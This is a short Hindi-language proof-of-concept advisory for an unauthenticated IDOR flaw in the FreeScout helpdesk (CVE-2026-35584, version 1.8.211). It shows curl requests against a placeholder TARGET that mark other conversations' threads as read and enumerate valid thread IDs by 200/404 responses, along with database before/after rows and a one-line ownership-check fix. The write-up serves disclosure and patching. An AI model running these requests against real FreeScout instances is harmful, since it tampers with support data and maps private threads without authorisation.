
FreeScout में एक बिना प्रमाणीकरण वाली IDOR भेद्यता के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो क्राफ्टेड HTTP अनुरोधों के माध्यम से थ्रेड एन्यूमरेशन और रीड स्थिति में हेरफेर की अनुमति देता है।
POC - CVE-2026-35584 FreeScout
GET /thread/read/{conversation_id}/{thread_id} एंडपॉइंट को प्रमाणीकरण की आवश्यकता नहीं होती है और यह सत्यापित नहीं करता है कि दिया गया thread_id दिए गए conversation_id से संबंधित है या नहीं। यह किसी भी अनधिकृत हमलावर को अनुमति देता है:
मनमाने ID पास करके किसी भी थ्रेड को पढ़ा हुआ चिह्नित करना HTTP प्रतिक्रिया कोड (200 बनाम 404) के माध्यम से वैध थ्रेड ID की गणना करना विभिन्न वार्तालापों में opened_at टाइमस्टैम्प में हेरफेर करना (IDOR)
प्रभावित संस्करण
1.8.211 (नवीनतम)
दो वार्तालाप बनाएं (conv_id=1 और conv_id=2) वार्तालाप 2 में एक थ्रेड बनाएं (thread_id=3) बिना किसी प्रमाणीकरण के, भेजें: GET /thread/read/1/3 डेटाबेस में सत्यापित करें — thread_id=3 का opened_at अब सेट हो गया है, भले ही इसे गलत conversation_id के माध्यम से एक्सेस किया गया हो
curl -v "http://TARGET/thread/read/1/3"
HTTP 200 लौटाता है और थ्रेड 3 पर opened_at सेट करता है
कोई प्रमाणीकरण आवश्यक नहीं है IDOR: thread_id को conversation_id के विरुद्ध सत्यापित नहीं किया जाता है थ्रेड गणना: HTTP 200 = वैध थ्रेड, 404 = अमान्य सहायता एजेंटों द्वारा उपयोग किए जाने वाले पढ़े/अपठित मेट्रिक्स में हेरफेर वार्तालाप अलगाव मॉडल को तोड़ता है
if ($thread->conversation_id !== (int)$conversation_id) {
abort(403);
}
थ्रेड गणना (अनधिकृत)
curl -v "http://TARGET/thread/read/1/1" → HTTP 200 (वैध थ्रेड)
curl -v "http://TARGET/thread/read/1/2" → HTTP 200 (वैध थ्रेड)
curl -v "http://TARGET/thread/read/1/3" → HTTP 200 (IDOR - थ्रेड वार्तालाप 2 से संबंधित है)
curl -v "http://TARGET/thread/read/1/4" → HTTP 404 (अमान्य थ्रेड)
पहले: | id | conversation_id | opened_at | | 3 | 2 | NULL |
GET /thread/read/1/3 (बिना प्रमाणीकरण) के बाद: | id | conversation_id | opened_at | | 3 | 2 | 2026-04-03 23:19:46 |